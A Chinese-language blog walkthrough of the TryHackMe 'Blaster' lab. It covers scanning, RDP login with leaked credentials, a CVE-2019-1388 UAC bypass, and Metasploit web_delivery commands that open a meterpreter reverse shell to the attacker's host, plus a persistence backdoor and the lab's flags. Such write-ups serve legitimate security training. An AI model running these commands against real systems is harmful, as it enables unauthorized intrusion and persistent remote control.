首页 > 其他分享 >【THM】Blaster-练习

【THM】Blaster-练习

时间:2023-03-15 09:23:38浏览次数:125  
标签:shell Blaster 练习 目标 THM 10.10 msf txt 我们

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/blaster

本文介绍:针对实验靶机完成渗透操作。

部署靶机

在相关Tryhackme实验房间界面部署虚拟靶机。

注意:目标机器操作系统为Windows,可能需要几分钟才能成功启动。

获得目标初始访问权限

进行端口扫描

使用nmap对实验靶机进行端口扫描:

nmap -A -Pn -p- -T4 10.10.71.8

image

image

我们可以看到靶机上有 2 个打开的端口: 80/tcp 和 3389/tcp。

接着访问靶机的80端口上的web服务:10.10.71.8:80

image

目标站点的页面标题为: IIS Windows Server --站点首页是IIS默认页面。

答题

image

进行目录扫描

使用gobuster对目标站点进行目录爆破:

gobuster dir -u http://10.10.71.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

image

发现的隐藏目录为: /retro

答题

image

查找敏感信息

访问上一小节发现的隐藏目录:10.10.71.8/retro

image

我们发现了一个潜在的用户名: Wade

继续浏览目标站点,查看该网站的评论页面:

image

image

我们发现了可能为密码的信息:parzival

答题

image

使用凭据通过RDP登录靶机

由端口扫描结果可知目标开启了3389端口(RDP-远程登录服务),所以我们在成功获取 疑似用户登录凭据 的敏感信息之后,可以使用xfreerdp 或者Remmina尝试远程登录目标机器,此处选择使用xfreerdp进行RDP登录 。

xfreerdp /u:Wade /p:parzival /cert:ignore /v:10.10.71.8
#添加参数 /workarea 可使打开的远程窗口最大化

image

查看目标机用户Wade 桌面上的user.txt文件内容:

image

user.txt内容为:THM{HACK_PLAYER_ONE} 。

答题

image

进行权限提升

在完成RDP登录之后,我们查看用户的浏览器历史记录--以获取一些关键信息,我们发现用户曾访问过 CVE-2019-1388 相关页面。

image

用户查找过的CVE为:CVE-2019-1388

答题

image

接着查看用户桌面上的回收站,我们在回收站中发现了一个未完全删除的exe文件--此文件是进行 CVE-2019-1388 漏洞利用所必需的。

image

找到的可执行文件为:hhupd.exe

答题

image

接下来我们需要利用CVE-2019-1388漏洞 (此漏洞能够绕过UAC提权):

以 administrator 身份运行之前找到的 hhupd.exe 程序。

image

点击" show more" -> "show information about the publisher's certificate"

image

image

点击"VeriSign Commercial Software Publishers CA."

image

在和上图超链接所关联的Internet Explorer浏览器页面中依次选择settings →File →Save as 。

image

点击"OK"并继续(此处是预期的错误提示,忽略即可):

image

在文件名称(filename )一栏中,输入以下内容 C:\Winndows\System32 — 然后按下Enter键。

image

在\System32文件夹中查找 cmd.exe并接着按下Enter键。

image

成功打开新的终端,我们在终端界面运行whoami命令以查看当前的权限,然后继续查看管理员桌面文件夹下(C:\Users\Administrator\Desktop)的root.txt:

image

当前的权限为:nt authority\system

root.txt的内容为:THM{COIN_OPERATED_EXPLOITATION} 。

答题

image

后渗透阶段

现在我们已经彻底攻破了目标机器,接下来我们使用msf工具,以便我们可以获得一个远程 shell 以及持久性访问权限。

启动msf控制台msfconsole -q (-q参数,quiet--跳过提示语显示),选择msf模块:use exploit/multi/script/web_delivery

image

tips:目标设备存在远程文件包含漏洞或者命令注入漏洞,我们现在想在目标设备上加载shell,但不想在目标设备硬盘上留下任何shell文件信息,所以要让目标设备从远端服务器加载shell代码至内存执行;我们可以使用msf中的web_delivery模块,此模块支持在本地监听一个端口,目标机器一旦访问该端口就会读取该端口上的文件并尝试执行;msf 中的 web_delivery 脚本模块的主要优势是隐藏性比较强,服务器和有效负载都驻留在你的本地机器上,因此在执行攻击时 不会将任何内容写入到目标的磁盘中,从而降低了触发反病毒应用程序和其他防御程序的可能性。

使用options查看参数选项设置。

image

设置LHOST参数: set LHOST 10.10.228.31 (攻击机ip)

image

接下来我们设置PSH (Powershell) 为target,输入命令show targets查看可设置的目标,然后选择PSH对应的编号填充target设置:set target 2

image

设置要使用的payload,我们选择设置一个meterpreter反向shell的payload: set payload windows/meterpreter/reverse_http

image

最后我们执行此模块并选择将生成的会话作为作业运行:run -j

image

我们得到上图中的输出结果,然后我们将复制msf中的输出内容并粘贴到RDP窗口中的目标Windows cmd内,粘贴完内容后-在cmd中按下Enter键执行;我们在攻击机上会得到一个meterpreter会话,然后我们可以在攻击机中使用命令sessions查看所有的活动会话。

tips:可以将攻击机中的msf输出内容保存到一个txt文件中,然后传输该txt文件到目标机上。

#将msf的输出结果保存到shell.txt文件中
python -m http.server 9999 #在攻击机上执行命令 托管shell.txt文件

#在目标机中执行命令--传输攻击机上的shell.txt文件到目标机
powershell 
Invoke-WebRequest -Uri http://10.10.228.31:9999/shell.txt -OutFile C:\Users\Wade\Desktop\shell.txt
cmd
#接着复制shell.txt的内容 粘贴到cmd中并按下Enter键即可

image

image

image

我们可以选择并进入对应编号的会话环境:sessions 1

image

输入sysinfo命令可查看目标系统信息。

image

接下来我们将在msf进行会话持久化操作,我们选择输入命令 run persistence -X,其中的 -X 参数表示当目标系统启动时将自动启动代理。

注意:以上Meterpreter持久化脚本(run persistence -X)已弃用

我们应该使用以下命令:

bg #先将当前的Meterpreter会话后台化
sessions
use exploit/windows/local/persistence
set session 1 #将会话设置为我们刚才后台化处理的meterpreter会话
set LHOST 10.10.228.31 #将“ LHOST”参数设置为攻击机ip
set payload windows/meterpreter/reverse_tcp
run

image

在目标系统中留下后门程序后,我们需要创建一个msf监听器(use exploit/multi/handler),然后就可以在攻击机上等待接收一个反向shell并重新获得一个meterpreter会话。(目标系统在重启或者再次开机时--将会自动尝试连接到攻击机)

答题

image

标签:shell,Blaster,练习,目标,THM,10.10,msf,txt,我们
From: https://www.cnblogs.com/Hekeats-L/p/17217254.html

相关文章

  • 上位机练习小项目(2)登陆功能 与 (3)后台只能运行一个程序实例
    软件学习记录:(2)登陆功能需求分析:首先是登陆验证功能,需要用户类作为模型。考虑用户类的功能:需要考虑登陆用户能够访问哪些功能界面与业务功能所以为用户类设计属性......
  • 上位机练习小项目(一)
    软件学习记录:(1)软件架构搭建分层架构:DAL、Models、View。目前view层存储页面与基本的业务逻辑。DAL层存放帮助类文件。Models层存放运行中使用的模型类。软件的项目结......
  • 算法-练习2
    题1给你两个 非空的链表,表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的,并且每个节点只能存储 一位 数字。请你将两个数相加,并以相同形式返回一个表......
  • MySQL 考试练习题
    1、用户表account1、用户表account(用户编号userid,用户名fullname,密码passward,性别sex,住址adderss,邮箱email,电话phone)account(useridchar(6),fullnamechar(4),passwar......
  • codeforce 2000+练习
    ThreeSequences2200https://www.luogu.com.cn/problem/CF1406D题解:贪心地想,令x为答案,则x应该为b的末项和c的首项,而每一步a(i)->a(i+1)若上升则b上升,若下降则c下降。故......
  • Java基础知识点(集合、ArrayList集合、基本数据类型对应的包装类及
    1.为什么要有集合?集合它可以自动扩容。2.集合存储数据类型的特点:不能直接存基本数据类型,需要将其变为包装类再存入,可以存引用数据类型。二:集合和数组的对比长度:数组的长度固......
  • 字符串函数练习
    字符串函数练习一:下列程序会打印什么#include<stdio.h>intmain(void){charnote[]="Seeyouatthesnackbar.";char*ptr;ptr=note;put......
  • HTHML流星雨效果,及源码下载
    function$i(id){returndocument.getElementById(id);}  function$r(parent,child){(document.getElementById(parent)).removeChild(document.getElementById(......
  • 群论练习:证明 Polya 定理
    轨道-生成子引理设\(x\inX,\G_x=\{g:gx=x\},\O_x=Gx\)则\(|G|=|G_x||O_x|\)我们先证明\(G_x\)是\(G\)的一个子群,因为\(gx=x\tog^{-1}gx=gx......
  • 练习:我要买票吗
    通过input语句获取键盘输入的身高判断身高是否超过120cm,萍通过print给出提示信息  1print("欢迎来到动物园。")2height=int(input("请输入您的身高(cm):"))3......